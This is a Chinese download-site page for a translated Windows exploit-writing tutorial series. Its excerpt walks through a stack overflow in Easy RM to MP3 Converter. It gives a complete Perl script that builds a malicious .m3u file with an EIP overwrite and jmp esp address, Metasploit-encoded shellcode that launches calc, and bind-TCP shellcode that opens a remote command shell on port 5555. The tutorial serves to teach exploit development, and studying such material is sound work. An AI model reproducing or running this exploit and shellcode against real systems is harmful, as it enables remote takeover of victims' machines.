没有合适的资源?快使用搜索试试~ 我知道了~
首页Windows Exploit教程:内存管理与堆溢出详解
Windows Exploit教程:内存管理与堆溢出详解
3星 · 超过75%的资源 需积分: 21 55 下载量 98 浏览量
更新于2024-07-20
2
收藏 12.59MB PDF 举报
本系列教程名为"Exploit 编写系列教程 1 ~ 11",主要聚焦于Windows平台上的栈溢出攻击技术,特别是内核管理系统内存管理的探索。教程详细介绍了操作系统如何通过`ntdll.dll`中的函数如`VirtualAlloc()`和`HeapCreate()`来处理内存分配和释放的过程。在Windows XP SP3及后续版本中,这些操作涉及到堆管理器的交互,包括堆内存的分配、前端和后端分配器(如LookAsideList/LowFragmentationHeap)的工作原理。 作者对内存溢出技术有深入的理解和耐心,特别强调理论学习与实践结合的重要性,鼓励读者不仅要理解理论知识,更要通过实际操作来深化理解。由于年代的原因,书中可能存在部分过时内容,但新出版的教程弥补了这一缺憾,使其成为溢出攻击初学者和入门者的宝贵资源。 值得注意的是,教程的创作过程中遇到了版权问题,原作者Peter担心其作品被用于盈利,因此拒绝了写序的要求。尽管如此,教程已经完成并由cntrump兄弟整理成电子书,供读者下载学习。书中还讨论了堆块管理和缓存系统的运用,如堆头信息的存储,以及如何通过缓存系统优化内存分配,减少碎片,提高程序性能。 总结来说,这个系列教程不仅涵盖了基础的内存溢出技巧,还深入剖析了Windows内核内存管理的底层机制,是深入理解并实践漏洞利用的重要参考资料。对于任何希望在这个领域有所建树的IT专业人员,这是一套不可或缺的学习材料。
资源详情
资源推荐
在回车。
现在输入u (unassemble)跟上jmp esp前面出来的地址。
在7c90120e,后面,你可以看到ffe4。这是jmp esp的机器码。
现在我们到加载的dll中搜索这个机器码。
看Windbg窗口的顶部,会看被Easy RM to MP3程序加载了的DLL条目:
如果我们可以在DLL中找的ffe4这个机器码,我们就有一个好的机会使我们的Exploit稳定可
靠的运行在windos平台上了。但是如果我们使用系统dll,那么在其他版本的系统上可能不行
了,所以这里我们首选用Easy RM to MP3自身的DLL。
我们看C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll这个dll,它被加载到
01b10000 到 01fd000 地址区间,在这个区间找ffe4:
不错。(没出来什么意外....jmp esp是一个很常用的指令)。我们选择一个地址,观察地址
中是否含有NULL(00)字节是很重要的事,因为它可能被当做字符串的结束,而我们后面
要写进去的内容被截断。
另一个找opcodes的好方法是:
“s 70000000 l fffffff ff e4” (属于系统dll的空间)
提示:另一个方法获得opcode的地址:
findjmp (来自 Ryan Permeh) : 编译 findjmp.c 和所有以下参数运行:
还可以用metasploit opcode database 详见下一教程....
从我们把shellcode放置到ESP所值内存(在重写EIP后面跟上的字符串),这个jmp esp不能
含NULL(00)字节,含0会被认为是字符串的结束而我们的shellcode被截断。
所以我们首先选用这个地址:0x01ccf23a
确保这个地址是包含指令jmp esp的(所以反汇编这个地址):
现在我们只要重写EIP为0x01ccf23a,jmp esp就实现了。ESP指向我们的shellcode....
在了我们的“NOP & break”shellcode:
程序预期的中断在地址000ff745处,所以说明jmp esp有效了,但是这个shellcode都是NOP,
干不了什么,接下来我们就开始真正的shellcode了..
写shellcode和完成Exploit
Metasploit有一个好好的payload generator,它可以帮助我们编写shellcode。Payloads这个术语
来自病毒,取决于我们要做什么,它可以大或小。如果你的缓冲区的大小有限制,你可能就
想要一个多阶的shellcode或一个mini型的shellcode(比如一个在xp sp2 平台下的32字节的命
令行shellcode),你还可以把你shellcode分成小块,然后用„egg-hunting‟技术在执行前把它重
组。
我们想要Exploit运行calc(计算器)在我们的Exploit payload中,我们应该这样写:
# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
my $shellcode = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";
完成这个perl脚本和测试:
#
# Exploit for Easy RM to MP3 27.3.700 vulnerability, discovered by Crazy_Hacker
# Written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
# Greetings to Saumil and SK :-)
#
# tested on Windows XP SP3 (En)
#
#
#
my $file= "exploitrmtomp3.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x01ccf23a); #jmp esp from MSRMCcodec02.dll
my $shellcode = "\x90" x 25;
# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
$shellcode = $shellcode .
"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";
首先,关闭autopopup注册表设置,避免调试器自动附加.创建这个m3u文件并打开,不出意
外的话应该就可以看到程序崩溃和计算器被打开了。
Boom ! 我们有第一个可以工作的Exploit了!
如果你不只是想打开计算器呢?
你可以编写其他不是“运行计算器”的shellcode,但是可能由于大而导致无法运行,或者是
内存位置的不同。随着shellcode体积的加大会使shellcode中出现无效字符的风险增大,无效
字符需要过滤才行。
现在我们来弄一个开启一个远程后门并获得命令行的shellcode:
# windows/shell_bind_tcp - 344 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, LPORT=5555, RHOST=
"\x31\xc9\xbf\xd3\xc0\x5c\x46\xdb\xc0\xd9\x74\x24\xf4\x5d"
"\xb1\x50\x83\xed\xfc\x31\x7d\x0d\x03\x7d\xde\x22\xa9\xba"
"\x8a\x49\x1f\xab\xb3\x71\x5f\xd4\x23\x05\xcc\x0f\x87\x92"
"\x48\x6c\x4c\xd8\x57\xf4\x53\xce\xd3\x4b\x4b\x9b\xbb\x73"
"\x6a\x70\x0a\xff\x58\x0d\x8c\x11\x91\xd1\x16\x41\x55\x11"
"\x5c\x9d\x94\x58\x90\xa0\xd4\xb6\x5f\x99\x8c\x6c\x88\xab"
"\xc9\xe6\x97\x77\x10\x12\x41\xf3\x1e\xaf\x05\x5c\x02\x2e"
"\xf1\x60\x16\xbb\x8c\x0b\x42\xa7\xef\x10\xbb\x0c\x8b\x1d"
"\xf8\x82\xdf\x62\xf2\x69\xaf\x7e\xa7\xe5\x10\x77\xe9\x91"
"\x1e\xc9\x1b\x8e\x4f\x29\xf5\x28\x23\xb3\x91\x87\xf1\x53"
"\x16\x9b\xc7\xfc\x8c\xa4\xf8\x6b\xe7\xb6\x05\x50\xa7\xb7"
"\x20\xf8\xce\xad\xab\x86\x3d\x25\x36\xdc\xd7\x34\xc9\x0e"
"\x4f\xe0\x3c\x5a\x22\x45\xc0\x72\x6f\x39\x6d\x28\xdc\xfe"
"\xc2\x8d\xb1\xff\x35\x77\x5d\x15\x05\x1e\xce\x9c\x88\x4a"
"\x98\x3a\x50\x05\x9f\x14\x9a\x33\x75\x8b\x35\xe9\x76\x7b"
"\xdd\xb5\x25\x52\xf7\xe1\xca\x7d\x54\x5b\xcb\x52\x33\x86"
"\x7a\xd5\x8d\x1f\x83\x0f\x5d\xf4\x2f\xe5\xa1\x24\x5c\x6d"
"\xb9\xbc\xa4\x17\x12\xc0\xfe\xbd\x63\xee\x98\x57\xf8\x69"
"\x0c\xcb\x6d\xff\x29\x61\x3e\xa6\x98\xba\x37\xbf\xb0\x06"
"\xc1\xa2\x75\x47\x22\x88\x8b\x05\xe8\x33\x31\xa6\x61\x46"
"\xcf\x8e\x2e\xf2\x84\x87\x42\xfb\x69\x41\x5c\x76\xc9\x91"
"\x74\x22\x86\x3f\x28\x84\x79\xaa\xcb\x77\x28\x7f\x9d\x88"
"\x1a\x17\xb0\xae\x9f\x26\x99\xaf\x49\xdc\xe1\xaf\x42\xde"
"\xce\xdb\xfb\xdc\x6c\x1f\x67\xe2\xa5\xf2\x98\xcc\x22\x03"
"\xec\xe9\xed\xb0\x0f\x27\xee\xe7";
正如你看到的,这个shellcode有344字节大小(而开个计算器只需要144字节)
如果你复制/粘贴这个shellcode,你可以看到程序并没有预期中的崩溃。
这个看起来可能是缓冲区大小问题而导致,但我们不确定还,或者是shellcode中含无效字符,
但是你必须知道哪些字符是允许的,哪些不是,一般,NULL字符是不允许出现的,但其他
的字符呢?
m3u格式文件是应该是要包含文件名的,所以一个好的开端是要过滤在文件名和路径中不被
允许的字符,你还可以使用另一个解码器限制字符集连接。我们使用shikata_ga_nai,但也
许用alpha_upper 在文件名上会做得更好。使用其他编码器,很可能会增加shellcode的长
度,但我们已经看到(或者我们可以模拟)这个大小不是一个大问题。
我们用alpha_upper编码器(相当于加一下密)写一个绑定TCp的shell,我们将绑定4444端口,
这个新的shellcode大小为703字节。
剩余620页未读,继续阅读
绝不原创的飞龙
- 粉丝: 4w+
- 资源: 1083
上传资源 快速赚钱
- 我的内容管理 展开
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助
最新资源
- 前端面试必问:真实项目经验大揭秘
- 永磁同步电机二阶自抗扰神经网络控制技术与实践
- 基于HAL库的LoRa通讯与SHT30温湿度测量项目
- avaWeb-mast推荐系统开发实战指南
- 慧鱼SolidWorks零件模型库:设计与创新的强大工具
- MATLAB实现稀疏傅里叶变换(SFFT)代码及测试
- ChatGPT联网模式亮相,体验智能压缩技术.zip
- 掌握进程保护的HOOK API技术
- 基于.Net的日用品网站开发:设计、实现与分析
- MyBatis-Spring 1.3.2版本下载指南
- 开源全能媒体播放器:小戴媒体播放器2 5.1-3
- 华为eNSP参考文档:DHCP与VRP操作指南
- SpringMyBatis实现疫苗接种预约系统
- VHDL实现倒车雷达系统源码免费提供
- 掌握软件测评师考试要点:历年真题解析
- 轻松下载微信视频号内容的新工具介绍
资源上传下载、课程学习等过程中有任何疑问或建议,欢迎提出宝贵意见哦~我们会及时处理!
点击此处反馈
安全验证
文档复制为VIP权益,开通VIP直接复制
信息提交成功